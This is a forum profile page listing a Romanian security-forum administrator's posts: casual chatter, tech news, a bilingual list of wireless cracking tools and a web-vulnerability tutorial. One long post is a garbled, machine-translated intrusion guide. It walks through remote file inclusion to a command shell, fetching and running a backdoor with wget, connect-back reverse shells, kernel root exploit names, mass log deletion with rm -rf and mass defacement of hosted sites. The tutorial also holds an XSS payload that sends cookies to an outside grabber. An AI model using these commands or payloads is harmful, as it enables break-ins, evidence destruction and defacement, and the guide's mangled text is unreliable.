Jump to content

Nytro

Administrators
  • Posts

    18711
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. *NetStumbler-0.4.0: wireless access point identifier - listens for SSIDs and sends beacons as probes searching for access points. * Kismet-2005-08-R: wireless sniffer and monitor - passively monitors wireless traffic and sorts data to identify SSIDs, MAC addresses, channels and connection speeds. * Wellenreiter-v1.9: WLAN discovery tool - uses brute force to identify low traffic access points; hides your real MAC address; integrates with GPS. * WEP***** 0.1.0: Unix based-pearl aplication encryption breaker - *****s 802.11 WEP encryption keys using the latest discovered weakness of RC4 key scheduling. * Airsnort-0.2.7e: encryption breaker - passively monitoring transmissions, computing the encryption key when enough packets have been gathered. * Wepwedgie-0.1.0-alpha: for toolkit that determines 802.11 WEP keystreams and injects traffic with known keystreams in order to ***** WEP in minutes. * Hotspotter-0.4: Wireless client attacking too. Most programs are open source, and very useful if you know what your doing. Download:
  2. LIVE Florin Salam - Nebuniile din Afganistan
  3. Hai sa inscriem mailul la muuulte newslettere...
  4. Nytro

    Ajutati-l pe kwerln

    Closed, cel mai bine
  5. Nytro

    %00

    Termina cu gayismele, si tu ce cei "ca tine".
  6. TinKode: Mai putin de lucrat la el, o sa il editez cand nu imi e lene. Kenpachi: Sa testez... a13x4nd7u: Care mai multe? paxnWo: Thanx, o sa fie, dar Sticky nu prea il vede lumea.
  7. Google, Yahoo si Microsoft curata Web-ul de Alex Hanea | 13 februarie 2009 Gigantii care se urau au inceput mai nou sa isi zambeasca timizi pe la evenimente si chiar sa isi faca gesturi dulci cu ochiul. Microsoft, Google si Yahoo spun ca s-au hotarat de astazi sa faca front comun pentru a impune un standard Web nou astfel incat motoarele de cautare sa nu mai piarda timp cautand destinatia prin zecile de URL-uri duplicat scutind din timpul utilizatorului pentru a il trimite direct la destinatie. Problema identificata de cei trei giganti este ca foarte multi dezvoltatori de site-uri Web, in special cei care detin site-uri voluminoase, asa cum sunt site-urile de comert electronic, au URL-uri multiple care duc la aceeasi pagina. Acest fapt ingreuneaza munca motoarelor de cautare, uneori obligandu-le sa indexeze aceeasi pagina de mai multe ori. Inginerii de la Google au venit cu o modalitate simpla de a descoperi cand un dezvoltator are un URL duplicat, iar daca este asa, ceea ce este cel mai important, sa indice care URL trebuie indexat de motorul de cautare. Yahoo si Microsoft, numarul doi si trei in topul motoarelor de cautare au zambit stirb la Google si s-au aratat dispusi imediat sa se ralieze la noul standard. Fericiti ca toti gigantii au batut palma pentru bunastarea noastra, nu mai trebuie decat sa ne relaxam si sa navigam cu viteza si mai mare pe site-uri … comerciale. Sursa: Hit.ro
  8. In fine, nu ma complic, ban. Pentru ca sunt nesimtit... Stiti povestea.
  9. Deja nu mai vreau sa ma cobor la nivelul tau. Tot cu gayisme o sa fi si peste 10 ani. De mult timp esti pe forum, si esti degeaba, nimic.
  10. Eu l-am mutat la XSS dar nu stiu unde a disparut.
  11. Kaspersky il gaseste, poate inca trece de Nod
  12. PDF version: http://milw0rm.com/papers/347 http://rapidshare.com/files/351249422/Vulnerabilitati_Web_si_securizarea_acestora.pdf http://www.speedyshare.com/files/20962209/Vulnerabilitati_Web_si_securizarea_acestora.pdf http://www.megaupload.com/?d=UL24YHU8 http://www.2shared.com/file/11418471/672dc49b/Vulnerabilitati_Web_si_securiz.html Salut. In acest tutorial va voi prezenta cele mai cunoscute tipuri de vulnerabilitati Web, dar si fixarea acestora ( PHP ). Voi incepe prin a spune ca un website poate fi atacat prin 3 metode: a) Atac asupra aplicatiei Web Atac asupra serverului c) Inginerie sociala In acest tutorial voi vorbi doar despre atacurile asupra aplicatiei Web. Voi vorbi despre urmatoarele tipuri de vulnerabilitati: 1) Remote File Inclusion ( RFI ) 2) Local File Inclusion ( LFI ) 3) Cross Site Scripting ( XSS ) 4) HTTP Header Injection 5) SQL Injection 6) Login ByPass 7) Arbitrary File Upload 8) Remote Code & Command Execution 9) Full Path Disclosure 10) Insecure Cookie Handling *) O functie de securizare a datelor 1) Remote File Inclusion Este un tip de vulnerabilitate din ce in ce mai rar intalnit in ziua de azi, dar este de asemenea cel mai periculos. Vulnerabilitatea consta in includerea unui fisier aflat pe alt server, folosind un parametru GET. Practic, scriptul va include direct fisierul specificat prin valoarea unei variabile trimise prin GET. Sa dam un exemplu. Programatorul foloseste urmatorul cod pentru a include un fisier: Ubde e greseala? In ideea scriptului. Daca utilizatorul va specifica pentru variabila 'pagina' valoarea "http://site.com/script.php", scriptul va include acest fisier ( desigur, daca allow url include este activata ). Sa luam un exemplu. Daca un utilizator atribuie variabilei pagina valoarea "http://google.ro", scriptul va include continutul site-ului. Dar va include codul HTML generat de server. Insa ce se intampla daca utilizatorul include "http://site.com/script.txt"? Daca va include un "http://site.com/script.php", acest script va fi interpretat ( in caz ca pe server se afla PHP ) pe serverul pe care se afla, iar scriptul va include outputul HTML. Insa daca se include un fisier cu extensia .txt, iar scriptul contine cod PHP, serverul va interpreta el acel cod. De cele mai multe ori se foloseste un shell ( script PHP, bine scris, care permite executarea multor functii pe serverul victima ). De exemplu, daca utilizatorul va include "http://www.evilc0der.com/r57.txt", atunci va putea face multe lucruri pe server. Exemplu: http://i39.tinypic.com/2d00lj.jpg , http://i44.tinypic.com/2ccxg4.jpg . Insa cu ce ajuta acel ".php"? Simplu, cu nimic. Utilizatorul fa folosi o sintaxa de genul: "http://server.com/script.php?pagina=http://site.com/script.txt?". Singurul lucru necesar pentru acesta e adaugarea caracterului "?" la sfarsitul URL-ului pe care doreste sa fie inclus. Acest "?" va transforma ".php"-ul de in variabila prin GET, si nu va afecta in nici un fel includerea scriptului. Se poate folosi de asemenea si "%00", care reprezinta caracterul cu codul ASCII 0, caracterul NULL, care marcheaza sfarsitul unui sir de caractere. Deci ceea ce se afla dupa acest NULL nu e luat in considerare. Cum se poate fixa? In mod normal, prin filtrarea sirurilor "http://" si "ftp://", dar nu recomand aceasta solutie, pentru ca scriptul va putea include fisiere locale, si se ajunge la LFI. Cea mai buna solutie e schimbarea ideii incluziunii. Se poate folosi foarte usor un switch, care va contine o lista cu paginile care pot fi incluse. Exemplu: 2) Local File Inclusion Este un tip de vulnerabilitate mai des intalnita decat RFI, dar principiul e acelasi: includerea unui fisier trimis folosind o variabila prin GET, insa scriptul va verifica daca acel fisier exista, iar daca exista in va include. Exemplu: Nu e la fel de periculos ca RFI ( de asemenea poate include fisiere locale ), dar este foarte periculos, si se poate ajunge la RFI de la el. Scriptul verifica daca fisierul se afla pe server, dar pe server nu se afla decat fisierele scriptului ( CMS... ) care contine pagina cu LFI. Deci se pot include fisiere de pe server. Exemplu ( Windows ): http://site.com/script.php?pag=../../../../../boot.ini . Dar daca scriptul include si acel ".php" va fi nevoie de folosirea caracterului NULL pentru a fi posibila incluziunea: http://site.com/script.php?pag=../../../../../boot.ini%00 . Probabil stiti si voi ca acele "../" se folosesc pentru a "inainta" in folderul anterior folderului in care se afla scriptul cu probleme. Astfel se va include fisierul "boot.ini", care va fi afisat in browser. Desigur, nu il incanta cu nimic sa includa acel fisier, dar pe Linux poate include fisiere care contin date importante ca "etc/passwd" sau altele. Dar sa nu uitam ca se poate ajunge la RFI. Se poate ajunge prin injectarea de cod PHP in loguri, apoi includerea fisierului cu loguri, care contine cod PHP, sau prin injectarea unui cod PHP intr-o imagine urmat de uploadarea acesteia pe server ( daca este posibil ), apoi includerea sa. Desigur, nu este RFI, dar se poate ajunge la aceleasi probleme pe care le poate provoca un RFI. Cum se poate fixa? La fel ca si RFI, folosind un switch pentru paginile care pot fi incluse. De asemenea, se pot filtra sirurile "../" sau "..\" ( Windows ). 3) Cross Site Scripting Este cel mai comun tip de atac Web din ziua de azi, dar nu este intotdeauna periculos. Este periculos doar cand scriptul se foloseste de cookie-uri sau sesiuni pentru anumite lucruri. Spre deosebire de RFI si LFI, vulnerabilitatea nu afecteaza serverul, ci afecteaza utilizatorul de rand, este o vulnerabilitate client-side. Ideea de baza e urmatoarea. Un script citeste o variabila, de cele mai multe ori prin GET, apoi afiseaza valoarea acesteia in browser. De cele mai multe ori se foloseste un cod JavaScript. E destul de usor de gasit o astfel de vulnerabilitate. Se testeaza variabilele prin GET ( poate fi gasit si prin POST XSS, dar este putin mai greu de exploatat ), carora li se atribuie ca valoare un cod JavaScript. Spre exemplu, avem urmatorul cod: Astfel la accesarea unui link de genul: http://site.com/script.php?text=lalala . Se va afisa textul "lalala". Dar ce se intampla daca variabila text contine un cod JavaScript? Acesta va fi interpretat in browserul "victimei". Exemplu: http://site.com/tutorial.php?text=<script>alert('xss')</script> . Daca cineva va urma acest link, va primi o alerta cu textul 'xss'. Nimic grav, dar se pot face si alte lucruri. XSS se foloseste cel mai des prentu furtul cookie-urilor. Cookie-urile se folosesc pentru ca serverul sa "recunoasca" utilizatorii. Asa stie serverul cine e logat si cine nu. Deci daca cineva intr in posesia cookie-urilor altei persoane, daca aceasta este logata, prin folosirea cooki-urilor sale, atacatorul va fi logat cu contul "victimei". La cookie se ajunge foarte usor prin "document.cookie" in JavaScript, si de cele mai multe ori se foloseste un cookie grabber pentru furtul acestora. Un cookie grabber este un script PHP, de cele mai multe ori, care primeste prin GET cookie-urile victimelor si le scrie intr-un fisier. Cookie-urile se pot trimite catre grabber prin JavaScript foarte usor: http://server2.com/grabber.php?cookie='+escape(document.cookie'>http://site.com/script.php?text=<script>document.location.href='http://server2.com/grabber.php?cookie='+escape(document.cookie)</script> In loc de +, care se foloseste pentru spatiu in encodarea unui URL, se poate folosi "%2B". Asadar, acest simplu script va redirectiona victima catre graber, care ii va fura cookie-urile iar atacatorul se va putea folosi de ele. Dar o victima isi poate da seama ca poate fi victima unui atac XSS daca observa un URL asemanator cu cel de mai sus. Dar nu este nici o problema pentru atacator, el poate folosi foarte usor un iframe. Exemplu: <iframe scr="http://server2.com/grabber.php?cookie='+escape(document.cookie'>http://site.com/script.php?text=<script>document.location.href='http://server2.com/grabber.php?cookie='+escape(document.cookie)</script>" width="0" height="0"> , iar pagina sa va putea contine orice. Pentru acest tip de atac se pot folosi mai multe sintaxe pentru injectare de cod. De exemplu: <IMG SRC=javascript:alert('XSS')> sau injectarea unui cod aflat pe alt server: <SCRIPT SRC=//site.com/script.js> . Se poate fixa destul de usor. PHP ofera 2 functii, care fac cam acelasi lucru: htmlentities si htmlspecialchars. Aceste functii transforma caracterele speciale gen "<", ">", "&" si ghilimelele in echivalentele lor in entitati HTML. De exemplu converstesc ">" in ">", "<" in "<". Ambele functii se pot folosi cu al doilea parametru optional setat pe valoarea ENT_QUOTES. Astfel se vor converti si ghilimelele in entitati. Astfel, la o cerere de genul: http://site.com/script.php?text=<script>alert('1')</script> , se va returna: <script>alert('1')</script> , care va afisa in browser textul <script>alert('1')</script>, dar nu se va executa nici un cod JavaScript. Deci scriptul ar trebui sa arate asa: Insa chiar daca un atacator a furat cookie-urile cuiva, puteti opri folosirea acestora foarte usor. Pentru acest lucru va trebui sa mai creati o variabila de sesiune ( folositi sesiunile in locul cookie-urilor deoarece sunt mai sigure, de exemplu pentru ca se salveaza pe server, deci nu pot fi editate ) in care sa memorati adresa IP in momentul logarii. Apoi, cand utilizatorul acceseaza o pagina, trebuie verificat IP-ul acestuia cu IP-ul din variabila de sesiune, iar daca acestea nu coincid, se face delogarea. Desigur, pot aparea cateva mici probleme pentru utilizatorii care au IP dinamic. Acestia vor trebui sa se logheze de fiecare data cand au un alt IP. 4) HTTP Header Injection Aceasta vulnerabilitate afecteaza Website-urile care afiseaza browserul, de cele mai multe ori. Am pomenit de ea pentru a va spune ca nu toate headerele care provin de la utilizator sunt corecte, nici User-Agen, nici Cookie... Exista de exemplu pentru Mozilla pluginul Tamper Data care permite editarea acestor headere. Desi nu pare o vulnerabilitate importanta, poate provoca mari probleme. Plecat de la un simplu XSS, poate ajungand la XSS permanent, se poate folosi pentru SQL Injection, daca de exemplu se cauta in baza de date in functie de un cookie. 5) SQL Injection Este foarte des intalnit si poate provoca mult rau. In ce consta el: Programatorul cauta in baza de date in functie de un anumit ID, pe care utilizatorul il trimite prin GET catre server. Poate avea un cod de genul: $int=mysql_query("SELECT x,y,z FROM tabel WHERE id='".$_GET['id']."'"); Se poate verifica foarte usor daca o pagina e vulnerabila folosindu-se o ghilimea simpla. http://site.com/script.php?id='2 sau http://localhost/tutorial.php?id=' sau http://localhost/tutorial.php?id=2' Asfel, query-ul va fi urmatorul: "SELECT x,y,z FROM tabel WHERE id=''2'" si se va returna o eroare in browser. Atacatorul va trece mai departe si va putea gasi numarul de coloane folosind clauza "order by", va putea afla baza de date folosind functia database(), va putea citi tabelele din information_schema.tables, daca versiunea de MySQL e > 5, va putea gasi apoi coloanele, apoi va putea citi orice date din baza de date. Nu stau sa scriu un tutorial de injectare. Pentru prevenirea unui astfel de atac se foloseste mysql_real_escape_string. Aceasta functie adauga back-slashuri in fata unor caractere speciale ( \x00, \n, \r, \x1a, ' si " ). Aceste caractere au o semnificatie speciala, nu sunt simple caractere. De exemplu ghilimelele sunt folosite pentru a delimita un sir. Folosind aceasta functie, aceste caractere nu mai au nici o semnificatie speciala. Asadar, la un request de genul: http://site.com/script.php?id='2 , query-ul va parea tot acelasi, numai ca ' nu marcheaza sfarsitul unui sir, ci este caracter ca oricare altul. Codul va arata cam asa: Insa trebuie sa fiti putin atenti. Daca magic quotes gpc este On, ghilimelele vor fi automat back-slash-uite, si este necesar ca inainte de mysql_real_escape_string sa fie sterse back-slash-urile initiale pentru ca sirul sa nu fie back-slash-uit de 2 ori. Exemplu: De cele mai multe ori, atacurile au loc asupra variabilelor care reprezinta un id ( Primary Key ). Deci acest id va trebui sa fie intotdeauna un numar. Puteti verifica acest lucru cu ajutorul functiei "is_numeric". Desigur, se pot folosi si functiile htmlentities si htmlspecialchars cu ENT_QUOTES pentru acest lucru, se poate folosi si addshashes. 6) Login ByPass Este tot un atac SQL Injection, intalnit la casutele de logare. Sa presupunem ca avem un cod, care va face logarea, de genul: Daca utilizatorul introduce "' OR ''='", query-ul va fi: SELECT * FROM users WHERE user='aidan' AND password='' OR ''='' si se va face logarea indiferent de user. Pentru a nu avea o astfel de problema puteti proceda ca si la SQL Injection, sau faceti totul mai "frumos". In primul rand verificati daca userul exista deja, apoi verificati daca este corecta parola, apoi faceti logarea. 7) Arbitrary File Upload Acest tip de vulnerabilitate, practic, nu e o vulnerabilitate, de cele mai multe ori. Daca aveti un serviciu de upload pe server, aveti grija ca utilizatorii sa nu poata uploada fisiere PHP. Nu faceti acest lucru verificand ca extensia sa nu fie ".php", recomandarea mea e sa cititi fisierul ( in caz ca nu se pot uploada fisiere mari ) si sa verificati daca contine cod PHP. Daca un fisier contine cod PHP, chiar daca nu are extensia .php, in cazul unei vulnerabilitati LFI, acest cod va putea fi interpretat de catre server. Insa e foarte greu sa opresti un astfel de atac, multe fisiere si tipuri de fisiere pot contine "<?" sau "?>", deci va recomand mai degraba sa nu aveti LFI in script, decat sa opriti un astfel de atac. In plus, daca doriti o limita pentru marimea fisierelor, nu va bazati pe un input hidden care sa contina marimea maxima, valoarea acestui camp poate fi schimbata. 8) Remote Code & Command Execution Acest tip de vulnerabilitate nu este foarte des intalnit, dar este periculoasa. Remote Code Execution consta in executarea unor comenzi PHP. Acest lucru este posibil datorita functiei "eval", cand se evlueaza un parametru prin GET de exemplu. Exemplu: Daca utilizatorul va face request catre: http://site.com/script.php?text=Un text';phpinfo(); , va observa in browser rezultatul functiei phpinfo(); Remote Command Execution consta in executarea unor comenzi in Terminal ( cmd ). Acest lucru se poate face prin Remote Code Execution, cu ajutorul functiei eval: http://site.com/script.php?text=Un text';system('ipconfig'); . Exemplul este pentru Windows. De asemenea se poate rula un cod in Terminal daca programatorul se foloseste de functia system ( exec, shell_exec, passthru ). Recomand sa nu se foloseasca deloc functia eval, cel putin nu e un parametru prin GET. De asemenea sa nu se foloseasca nici functiile care executa comenzi in Terminal. 9) Full Path Disclosure Nu este practic o vulnerabilitate, se poate descoperi calea completa pentru un fisier. De exemplu daca avem codul: print strstr($_GET['id'],"1"); , iar utilizatorul face requestul: http://site.com/script.php?id[]=2 , atacatorul va primi ca rezultat calea completa catre fisier printr-un Warning: Array to string conversion in C:\wamp\www\tutorial.php on line 3 ( de exemplu ). Se poate fixa foarte usor folosind functia "is_array". 10) Insecure Cookie Handling Este rar intalnita, dar uneori poate fi periculoasa. De exemplu, nu recomand salvarea pe PC-ul utilizatorului a unor date de logare sub forma de cookie. Daca este furat cookie, atacatorul va avea userul si parola victimei. De asemenea nu folositi o variabila cookie pentru a verifica daca un utilizator este logat, daca valoarea acestei variabile este True. Valoarea sa se poate seta la True foarte usor: javascript:document.cookie="variabila = true"; Pentru a nu avea astfel de probleme recomand folosirea sesiunilor in locul cookie-urilor. *) O functie de securizare a datelor Sa incercam sa scriem o functie cu care sa securizam datele si cu care sa salvam eventualele atacuri. Personal, recomand transformarea caracterelor speciale in entitati. Astfel nu veti avea probleme nici cu SQL Injection nici cu XSS. De exemplu: Functia va converti in entitati HTML o mare parte din caracterele speciale care pot face rau. Nu va faceti griji pentru dublul apel al acestei functii asupra aceluiasi sir, functia nu converteste caracterele &, #, ; in entitati, deoarece sunt folosite pentru entitati. Desigur, nu sunt necesare toate transformarile, si se poate folosi htmlentities pentru acest lucru, dar eu unul prefer sa folosesc aceasta functie, pe care o pot modifica cum vreau eu. De asemenea nu ar strica o functie prin care sa identificam anumite atacuri, si sa introducem in baza de date cateva informatii despre atacator. In primul rand va trebui sa cream tabelul: Apoi scriem o fucntie care va identifica daca se incearca un atac. Recomand folosirea acestei functii numai aspupra variabilelor care trebuie sa aibe o valoare numerica si nu asupra variabilelor care sunt de exemplu comentarii ale utilizatorilor, deoarece ar putea contine caractere speciale si astfel se va umple baza de date de loguri inutile. Astfel, in functie de anumite caractere vom sti ce a incercat atacatorul si vom salva in baza de date IP-ul si browserul sau, data si tipul atacului. Chiar daca am dat numai exemple prin GET, majoritatea atacurilor se pot face de asemenea prin POST, numai ca prin GET sunt mai usor de exploatat. Ideea de baza e urmatoarea: Nu efectuati niciodata instructiuni directe asupra unei variabile inainte de a-i verifica continutul, inainte de a scapa de orice problema poate aparea. Ganditi-va la orice valoare poate seta un utilizator asupra acelei variabile, si incercati sa preveniti orice fel de problema ar putea aparea. Sper ca va ajutat acest tutorial. Daca sunt probleme, daca aveti nelamuriri sau critici postati aici.
  13. RDC = Remote Desktop Connection? Daca da, click dreapta pe My computer, Properties, Remote si bifezi Allow users... Sau vrei sa spui Remote Desktop Viewer? A, programul nu e facut de mine.
  14. ################# # Not written by me, but by phAnt0mh4ck3r of h4cky0u, Its not that well written, but sure covers stuff thats need to know. # 1. What it is? 2. As to explore 3. Aid of google 4. Exploits local 5. Erasing Logs 6. As to arrange the vulnerability 7. Tools 8. Commands 1. What it is? The known vulnerability more as: Remote File Inclusion, or remote Inclusao of archives, bug discovered between 2002 and 2003, to put still today many are unaware of it. Bugs found sao in its majority, in scripts of php, exists disponiveis thousands for the Internet, every day new bugs of strings sao found and displayed in sites of security, and consecultivamente nao delay very to appear modified thousands of sites, and for coencidencia, 99% of these used scripts php bugados. But where this espeficicamente bug, it eh found in funcoes of php, that joined with one script badly written, makes possible inclusao remote of archives, most used sao: Main (, Include (, Include_Once (, and others, and generally funcao that it has bug is almost thus: main (to $dir. ?file?) We go to say that the arkivo that has this funcao if calls index.php, is enough the usuario now in its navigator to type: index.php? dir=cmd < - q sera explained the front more. Eh a simple error, but that it has caused great prejudices for the world. 2. As to explore Vitima: Site that you will go to explore the imperfection of php. String: Archives in the site suceptiveis to the attack. Cmd: Script in PHP that in makes possible them to type commands to be incluidos in php. Backdoor: It opens doors in the system for remote connection 'without autentica??o'. Connect Back: It opens a door specifies for conexao between its PC and vitima. Exploit: Program that explores certain imperfection in a system. It has some types of Exploits. Here, we will go to deal only with Place Root Exploits. (they explore imperfections local that they take common users access root - super-user -) Shell: It is an interpretative program of commands that it allows the user to iteragir with the system operational through typed commands. Telnet: We will use for remote connections. Firewall: It is an intelligent barrier between a local net e the Internet, through which it only passes traffic authorized. This traffic is examined by firewall in real time and the election is made of agreement with the rule. ?what it was not express allowed, it is forbidden " root: Super-user. He is admin? has total access to system. * Strings Strings has several available. In this tutorial one, I will go to use stops examples well simple one that is ?index.php? page=?. In annex, the end, several others: P * Syntax Former: www.site.com /arquivo.php? data= http://CMD/cmd.gif?&cmd= ls ^ ^ ^ ^ Vitima String CmD command unix (P.S.: Without the spaces) * Using the CmD Cmd = http://www.site.com/cmd.gif?&cmd= In the result, it inserts cmd in string. Former: www.site.com/index.php?page=http://www.site.com/cmd.gif?&cmd= In the CMD: sysname: --> Operational system twirling. nodename: --> local Name. release: --> Version of kernel. Script Current User: --> Using for which script is being executed. PHP Version: --> Version of php of the machine User Info: --> Information of user (uid, euid, gid). Current Path: --> current Folder that you are in the server. Server IP: --> IP of the server. Web server: --> Information on the server. * Gaining access to shell He is the interpreter of commands of the machine. For this, she is necessary of: Backdoor and Connect Back. * Twirling backdoor in the server for remote connection To twirl a backdoor, it is enough to make one upload, to choose permissions, and to execute it. Command: compact disc /var/tmp; wget www.site.onde.es t? .o.backdoor.com/backdoor;chmod 777 backdoor;. /backdoor compact disc /var/tmp - > Faz the operation in this folder, for being common all the users and had to its permissions. /tmp tb serves:) wget www. (...) /backdoor - > Copia the backdoor from a URL for site. When wget not to function, tries others commands. Syntaxes: - Possiveis programs to make download of the archives wget www.site.com/arquivo lynx - source www.site.com/arquivo > archive curl - the www.site.com/arquivo archive GET www.site.com/arquivo > archive (...) Now, it is enough to connect itself shell. How? In the Win: To initiate - > Executar - > telnet www.site.com carries Where www.site.com receives name or IP from the site that you twirled the backdoor and carries is the door that the backdoor is working. If to appear in the telnet bash-2.05b$ or something seemed, is because it functioned! E you have access to shell in the machine. If to delay a time and not to fall in shell, confer nome/ip of the server. If he will be correct, it is twirling Firewall. E now? simple, Connect Back. * Connect Back Very efficient method to gain shell in a machine. It gains shell reversamente. Windows: It lowers netcat for windows and in Prompt of MSDOS (in the folder that nc if finds), it types: nc - vv - l - p 15, where 15 can in accordance with be chosen its preference. This door will be the one that will carry through the connection. Now, coming back to browser it, in cmd it types the following command: compact disc /var/tmp; wget www.site.do.dc.com/dc;chmod 777 dc;. /dc IP carries compact disc /var/tmp - > Exactly that for backdoor. wget www.site.do.dc.com/dc - > | | | |, but is logico, with address of dc. ./dc IP carries - > where IP is ITS IP and carries is the door that you it chose in netcat. Made this, if to occur all certainty, it will appear as resulted: Connect Back Backdoor * Dumping Arguments * Resolving Host Name * Connecting? * Spawning Shell * Detached This means that you if it connected in shell! If to appear Connect Back Backdoor * Dumping Arguments * Resolving Host Name * Connecting? [-] Unable you the Connect it confers the data (its IP, carries, netcat, etc). If to insist, its not accepted net this type of connection. It tries other doors (as 80, 22, 15, etc). 4. Exploits local 2.4.17 newlocal kmod 2.4.18 brk newlocal kmod km.2 2.4.19 brk newlocal kmod km.2 2.4.20 ptrace kmod km.2 brk 2.4.21 km.2 brk ptrace 2.4.22 km.2 brk ptrace 2.4.23 mremap_pte 2.4.24 mremap_pte Uselib24 2.4.27 Uselib24 2.6.2 mremap_pte krad 2.6.5 you the 2.6.10 krad krad2 5. Erasing Logs rm - rf /var/log rm - rf /var/adm rm - rf /var/apache/log rm - rf $HISTFILE find/- name .bash_history - exec rm - rf {} ; find/- name .bash_logout - exec rm - rf {} ; find/- name log* - exec rm - rf {} ; find/- name *.log - exec rm - rf {} ; 6. As to arrange the vulnerability To edit the archive php.ini in the folder of configuration of its apache and incapacitating the functions: they system, exec, passthru, shell_exec 7. Tools Voce can find some tools in the sites: - http://mescalin.100free.com - http://www.packetstormsecurity.org - http://www.milw0rm.com - http://www.securiteam.com 8. Commands ls - > List archives. It can be combined with - (shows occult) and - l (it shows at great length). Former: ls - la (it shows the archives, also occult at great length). uname - - > Mostra information of the system, as version of kernel, uteis name, and other things. id - > Mostra its id. w - > List the users logados at the moment. cp - > Copia archives. Syntax: cp /destino/ archive mv - > Move archives. Sintexe: mv /destino/ archive rm - > Remove archives. If combined with - rf, removes all the setados archives, also folders to mkdir - > diretorio Cria to rmdir - > diretorio Exclui find - > Procura for archives/folders. Former: ?find /etc - name httpd.conf ?looks for for httpd.conf in the /etc folder pwd - > Mostra where folder you are located cat - > Exibe the content of an archive in the screen head - > Exibe lines of the beginning of the archive tail - > || || || final of the archive ctrl+c - > Sai/killa one programs ctrl+r - > Busca command typed in history of bash ps - auxw - > List all the processes of the system netstat - in - > Status of the connection kill -9 - > Mata process. Syntax: kill -9 PID OF the PROCESS kill - HUP - > Reinicia process. Syntax: kill - HUP ID OF the PROCESS peak - > Publisher of text. Syntax: peak archive vi - > | | vi archive Saving resulted in archives ?/armazenado command > /arquivo/onde/ser Former: ls /etc > /tmp/s.txt safe all the result of the listing of /etc in the /tmp/s.txt archive Adding lines in archives echo ?line? >> /arquivo/onde/ser ?/incluido Unpacking archives (most common) .tar - > to tar xvf arquivo.tar .tar.gz - > to tar zxvf arquivo.tar.gz .tar .bz2 - > to tar jxvf arquivo.tar .bz2 .zip - > unzip arquivo.zip Compactando archives (most common) .tar - > to tar cvf destino.tar ARCHIVE .tar.gz - > to tar cvf destino.tar ARCHIVE | gzip destino.tar .tar .bz2 - > to tar cvf destino.tar ARCHIVE | bzip2 destino.tar .zip - > zip DES tino.zip ARQUIVO * List of sites running on server * Using httpd.conf file Generally the data of the housed sites are in this archive. To make a listing of the sites, it is enough to type a command that will go to read the archive httpd.conf and to print the lines that contain ServerName (name of the sites). (in the folder where httpd.conf if finds) cat httpd.conf | grep ServerName (they will be in this archive same, you result can to save in archive - preferential in the folder of the site that you left - and to make download) ----> How? Good, in the CMD, it types pwd. You it will see the place where you if it finds in the server. Former: /home/httpd/vhosts/nasa.gov/web/ Let us say that the URL is this: http://nasa.gov/index.php?page=CMD Then, if you to play the result for /home/httpd/vhosts/nasa.gov/web This archive will be in the root of the site. To only type this command: cat httpd.conf | grep ServerName > /home/httpd/vhosts/nasa.gov/web/RESULTADO.txt (only one example) Made this, http://nasa.gov/RESULTADO.txt and to lower the list: P <---- Now, where it is this? GENERALLY in the folders /etc/httpd/conf or /etc/apache/conf but it varies very and it can be found in other places. An efficient way, to put delayed, to find is making a complete search for sitema. Command: find/- name httpd.conf This prints where he is httpd.conf in the server. It can appear more than a result. * Other ways? If exactly thus, not to obtain to find which sites has there, looks alternative forms. Unhappyly it does not have as to explain therefore in each server it has a way. Example: If in the folder where the sites are located, you to list them and the result ja will have the name and domain of them: former: ls /home/httpd/vhosts site.com mtv.com .br nasa.gov whitehouse.gov etc * Making Mass Defacement Good, first, it creates one index that you it wants that is in the place of the others. Made it, plays for some place that you can make upload pro server. Now, the end: to change to all the others for its. Simple, a command for this is enough: find /pasta/onde/est ?o/os/sites - name ?index.*? - exec cp /onde/est ?/sua/index.html {} ; To know where they are the sites, only pwd in cmd. Former: /home/httpd/vhosts/nasa.gov/web One notices that all the others are in /home/httpd/vhosts. Equal backdoor makes upload. wget http://suaindex.com/sua.index Let us say that you it made for the /tmp folder, then, the command would be thus: find /home/httpd/vhosts - name ?index.*? - exec cp /tmp/index.html {} ;
  15. De Sf. Valentin, fereste-te de virusi de Bianca Dinu | 11 februarie 2009 Valentine’s Day este o ocazie perfecta pentru activitatile malitioase de spam, iar specialistii in securitate IT avertizeaza si in acest an utilizatorii sa fie atenti la mesajele tematice pe care le vor primi din partea unor expeditori necunoscuti. Spamerii profita de astfel de ocazii pentru a trimite troiani “mascati” in felicitari electronice sau in mesaje de tip text care contin link-uri ce, odata aceesate, redirectioneaza utilizatorul catre site-uri care raspandesc spam. De asemenea, firmele de specialitate sustin ca si executabilele vor fi populare in acest an si vor veni tot sub forma unor e-mail-uri prin care utilizatorului i se cere sa instaleze un program pentru a putea citi mesajul. Daca se instaleaza programul, computerul va fi infectat de un virus troian sau va fi controlat remote de spameri. Infractorii pot obtine acces la informatiile din serviciul de online banking, numarul cartii de credit sau alte date confidentiale. De asemenea, pot folosi calculatorul respectiv pentru a trimite spam si alte materiale dubioase fara ca utilizatorul sa stie. Desi cei mai multi experti in securitate se asteptau ca, in acest an, atacurile sa difere fata de cele de acum un an, acestea sunt destul de similare cu cele din 2008 si 2007. Tocmai din acest motiv, analistii cred ca succesul lor se va diminua din ce in ce mai mult, asta daca infractorii cibernetici nu se hotarasc brusc sa isi schimbe tactica de atac. Sursa: The Register, Hit.ro
  16. Si pe mine ma acuza lumea ca dau warn-uri... Ia sa trec la banuri
  17. Eu sigur nu am fost, dar am ascultat interviul. Mi-a placut cum au vorbit baietii.
  18. Ce e cu mine? Unde vorbeam singur?
  19. Pentru booter de Yahoo! trebuie sa cunosti protocolul YMSG. Deci treci la sniffing daca nu gasesti o sursa ceva.
  20. Nytro

    Sugestie buna

    Nu toata lumea are timp de forum, spre exemplu Staff-ul. Bine, eu am timp, dar eu sunt de forma pe aici.
  21. Nytro

    Sugestie buna

